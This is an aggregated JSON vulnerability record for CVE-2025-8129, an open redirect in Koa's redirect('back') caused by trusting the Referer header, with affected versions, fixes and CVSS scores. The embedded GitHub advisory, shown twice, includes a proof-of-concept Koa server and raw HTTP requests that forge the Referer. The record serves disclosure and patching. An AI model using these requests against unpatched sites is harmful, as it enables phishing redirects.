{"id":"CVE-2025-8129","aliases":["CLSA-2026-1787657292","CLSA-2026-1792779347","EUVD-2025-22567","GHSA-jgmv-j7ww-jx2x","ROOT-APP-NPM-CVE-2025-8129"],"status":"published","title":"KoaJS Koa HTTP Header response.js back redirect","description":"A vulnerability, which was classified as problematic, was found in KoaJS Koa up to 3.0.0. Affected is the function back in the library lib/response.js of the component HTTP Header Handler. The manipulation of the argument Referrer leads to open redirect. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.","severity":{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00285,"percentile":0.21154,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-601"],"published":"2025-07-25T04:02:05Z","modified":"2026-10-28T02:30:55Z","fixes":[{"ecosystem":"npm","package":"koa","fixed_in":["2.16.2","3.0.1"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"@rootio/koa","fixed_in":["2.15.4-root.io.4"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"koa","fixed_in":["2.15.4-aikido.4"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"koa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.16.2"}]}]},{"source":"ghsa","ecosystem":"npm","package":"koa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0-alpha.0"},{"fixed":"3.0.1"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"koa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.15.3-tuxcare.0"},{"fixed":"2.15.3-tuxcare.1"}]}],"versions":["2.15.3"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"koa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.15.4-tuxcare.0"},{"fixed":"2.15.4-tuxcare.1"}]}],"versions":["2.15.4"],"bundled":4},{"source":"osv","ecosystem":"npm","package":"koa","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.16.2"}]}]},{"source":"osv","ecosystem":"npm","package":"koa","ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0-alpha.0"},{"fixed":"3.0.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/koa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.15.4-root.io.4"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"koa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.15.4-aikido.4"}]}]}],"products":[{"vendor":"koajs","product":"koa"}],"references":[{"url":"https://vuldb.com/?id.317514","tags":["vdb-entry","technical-description","Third Party Advisory","VDB Entry","advisory","web"]},{"url":"https://vuldb.com/?ctiid.317514","tags":["signature","permissions-required","Permissions Required","VDB Entry","report","web"]},{"url":"https://vuldb.com/?submit.619741","tags":["third-party-advisory","Third Party Advisory","VDB Entry","advisory","web"]},{"url":"https://github.com/koajs/koa/issues/1892","tags":["issue-tracking","exploit","Exploit","Issue Tracking","Patch","Vendor Advisory","report","web"]},{"url":"https://github.com/koajs/koa/issues/1892#issue-3213028583","tags":["exploit","issue-tracking","Exploit","Issue Tracking","Patch","Third Party Advisory","Vendor Advisory","report","web"]},{"url":"https://github.com/koajs/koa/security/advisories/GHSA-jgmv-j7ww-jx2x","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54420","tags":["advisory"]},{"url":"https://github.com/koajs/koa/commit/422c551c63d00f24e2bbbdf492f262a5935bb1f0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-jgmv-j7ww-jx2x"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/8xxx/CVE-2025-8129.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-8129","tags":["advisory"]},{"url":"https://github.com/koajs/koa","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-8129","title":"KoaJS Koa HTTP Header response.js back redirect","description":"A vulnerability, which was classified as problematic, was found in KoaJS Koa up to 3.0.0. Affected is the function back in the library lib/response.js of the component HTTP Header Handler. The manipulation of the argument Referrer leads to open redirect. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.","status":"published","published":"2025-07-25T04:02:05.418Z","modified":"2025-07-25T12:01:53.033Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"medium","assessor":"cna"},{"version":"3.1","score":3.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N/E:P/RL:X/RC:R","level":"low","assessor":"cna"},{"version":"3.0","score":3.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N/E:P/RL:X/RC:R","level":"low","assessor":"cna"},{"version":"2.0","score":4,"vector":"AV:N/AC:L/Au:S/C:N/I:P/A:N/E:POC/RL:ND/RC:UR","assessor":"cna"}],"cwes":["CWE-601"],"updated_at":"2026-11-02T14:32:38.025852Z"}],"euvd":[{"id":"EUVD-2025-22567","description":"A vulnerability, which was classified as problematic, was found in KoaJS Koa up to 3.0.0. Affected is the function back in the library lib/response.js of the component HTTP Header Handler. The manipulation of the argument Referrer leads to open redirect. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.","status":"published","published":"2025-07-25T04:02:05Z","modified":"2025-07-25T12:01:53Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"medium"}],"updated_at":"2026-11-02T20:32:04.291169Z"}],"ghsa":[{"id":"GHSA-jgmv-j7ww-jx2x","title":"Koa Open Redirect via Referrer Header (User-Controlled)","description":"## Summary\nIn the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target.\n\n## Details\non the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see:\n\n**response.redirect(url, [alt])**\n```\nPerforms a [302] redirect to url.\nThe string \"back\" is specially provided for Referrer support, using alt or \"/\" when Referrer does not exist.\n\nctx.redirect('back');\nctx.redirect('back', '/index.html');\nctx.redirect('/login');\nctx.redirect('http://google.com');\n\n```\nhowever, the \"back\" method is insecure:\n\n- https://github.com/koajs/koa/blob/master/lib/response.js#L322\n```\n  back (alt) {\n    const url = this.ctx.get('Referrer') || alt || '/'\n    this.redirect(url)\n  },\n```\nReferrer Header is User-Controlled.\n\n\n## PoC\n\n**there is a demo for POC:**\n```\nconst Koa = require('koa')\nconst serve = require('koa-static')\nconst Router = require('@koa/router')\nconst path = require('path')\n\nconst app = new Koa()\nconst router = new Router()\n\n// Serve static files from the public directory\napp.use(serve(path.join(__dirname, 'public')))\n\n// Define routes\nrouter.get('/test', ctx =\u003e {\n  ctx.redirect('back', '/index1.html')\n})\n\nrouter.get('/test2', ctx =\u003e {\n  ctx.redirect('back')\n})\n\nrouter.get('/', ctx =\u003e {\n  ctx.body = 'Welcome to the home page! Try accessing /test, /test2'\n})\n\napp.use(router.routes())\napp.use(router.allowedMethods())\n\nconst port = 3000\napp.listen(port, () =\u003e {\n  console.log(`Server running at http://localhost:${port}`)\n}) \n```\n**Proof Of Concept**\n```\nGET /test HTTP/1.1\nHost: 127.0.0.1:3000\nReferer: http://www.baidu.com\nConnection: close\n\n\nGET /test2 HTTP/1.1\nHost: 127.0.0.1:3000\nReferer: http://www.baidu.com\nConnection: close\n```\n![image](https://github.com/user-attachments/assets/03d1e61b-df97-4b42-a0c4-437bd17144db)\n\n![image](https://github.com/user-attachments/assets/f4e076e0-3853-4b7a-b4c0-bddf5b67631a)\n\n\n## Impact\nhttps://learn.snyk.io/lesson/open-redirect/","status":"published","published":"2025-07-29T19:11:25Z","modified":"2025-08-05T07:01:04Z","cvss":[{"version":"4.0","score":2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"low"},{"version":"3.1","score":3.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N","level":"low"}],"cwes":["CWE-601"],"updated_at":"2026-11-02T14:38:52.85141Z"}],"nvd":[{"id":"CVE-2025-8129","description":"A vulnerability, which was classified as problematic, was found in KoaJS Koa up to 3.0.0. Affected is the function back in the library lib/response.js of the component HTTP Header Handler. The manipulation of the argument Referrer leads to open redirect. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.","status":"published","published":"2025-07-25T05:15:36.98Z","modified":"2026-06-17T10:06:21.673Z","cvss":[{"version":"4.0","score":2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low","assessor":"secondary"},{"version":"3.1","score":3.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N","level":"low","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"},{"version":"2.0","score":4,"vector":"AV:N/AC:L/Au:S/C:N/I:P/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-601"],"updated_at":"2026-11-02T14:11:21.132141Z"}],"osv":[{"id":"CVE-2025-8129","title":"KoaJS Koa HTTP Header response.js back redirect","description":"A vulnerability, which was classified as problematic, was found in KoaJS Koa up to 3.0.0. Affected is the function back in the library lib/response.js of the component HTTP Header Handler. The manipulation of the argument Referrer leads to open redirect. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.","status":"published","published":"2025-07-25T04:02:05.418Z","modified":"2026-10-28T02:30:55.854368608Z","cvss":[{"version":"4.0","score":2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"low"}],"cwes":["CWE-601"],"updated_at":"2026-11-02T15:44:53.185592Z"},{"id":"GHSA-jgmv-j7ww-jx2x","title":"Koa Open Redirect via Referrer Header (User-Controlled)","description":"## Summary\nIn the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target.\n\n## Details\non the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see:\n\n**response.redirect(url, [alt])**\n```\nPerforms a [302] redirect to url.\nThe string \"back\" is specially provided for Referrer support, using alt or \"/\" when Referrer does not exist.\n\nctx.redirect('back');\nctx.redirect('back', '/index.html');\nctx.redirect('/login');\nctx.redirect('http://google.com');\n\n```\nhowever, the \"back\" method is insecure:\n\n- https://github.com/koajs/koa/blob/master/lib/response.js#L322\n```\n  back (alt) {\n    const url = this.ctx.get('Referrer') || alt || '/'\n    this.redirect(url)\n  },\n```\nReferrer Header is User-Controlled.\n\n\n## PoC\n\n**there is a demo for POC:**\n```\nconst Koa = require('koa')\nconst serve = require('koa-static')\nconst Router = require('@koa/router')\nconst path = require('path')\n\nconst app = new Koa()\nconst router = new Router()\n\n// Serve static files from the public directory\napp.use(serve(path.join(__dirname, 'public')))\n\n// Define routes\nrouter.get('/test', ctx =\u003e {\n  ctx.redirect('back', '/index1.html')\n})\n\nrouter.get('/test2', ctx =\u003e {\n  ctx.redirect('back')\n})\n\nrouter.get('/', ctx =\u003e {\n  ctx.body = 'Welcome to the home page! Try accessing /test, /test2'\n})\n\napp.use(router.routes())\napp.use(router.allowedMethods())\n\nconst port = 3000\napp.listen(port, () =\u003e {\n  console.log(`Server running at http://localhost:${port}`)\n}) \n```\n**Proof Of Concept**\n```\nGET /test HTTP/1.1\nHost: 127.0.0.1:3000\nReferer: http://www.baidu.com\nConnection: close\n\n\nGET /test2 HTTP/1.1\nHost: 127.0.0.1:3000\nReferer: http://www.baidu.com\nConnection: close\n```\n![image](https://github.com/user-attachments/assets/03d1e61b-df97-4b42-a0c4-437bd17144db)\n\n![image](https://github.com/user-attachments/assets/f4e076e0-3853-4b7a-b4c0-bddf5b67631a)\n\n\n## Impact\nhttps://learn.snyk.io/lesson/open-redirect/","status":"published","published":"2025-07-29T19:11:25Z","modified":"2025-07-30T14:14:46Z","cvss":[{"version":"3.1","score":3.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N","level":"low"},{"version":"4.0","score":2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"low"}],"cwes":["CWE-601"],"updated_at":"2026-11-02T15:46:50.336262Z"},{"id":"CLSA-2026-1787657292","title":"TuxCare security update for koa (4 CVEs)","description":"TuxCare rebuilt koa to address 4 CVEs. Fixed in 2.15.3-tuxcare.1.","status":"published","published":"2026-08-25T11:28:12Z","modified":"2026-10-15T09:48:03.101758517Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1792779347","title":"TuxCare security update for koa (4 CVEs)","description":"TuxCare rebuilt koa to address 4 CVEs. Fixed in 2.15.4-tuxcare.1.","status":"published","published":"2026-10-23T18:15:47Z","modified":"2026-10-23T19:15:09.373866513Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"ROOT-APP-NPM-CVE-2025-8129","title":"CVE-2025-8129 in @rootio/koa - Patched by Root","description":"Root has patched CVE-2025-8129 in the @rootio/koa package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-06-24T15:37:56Z","modified":"2026-06-24T18:15:35.190344601Z","updated_at":"2026-11-02T15:53:27.362922Z"}]}}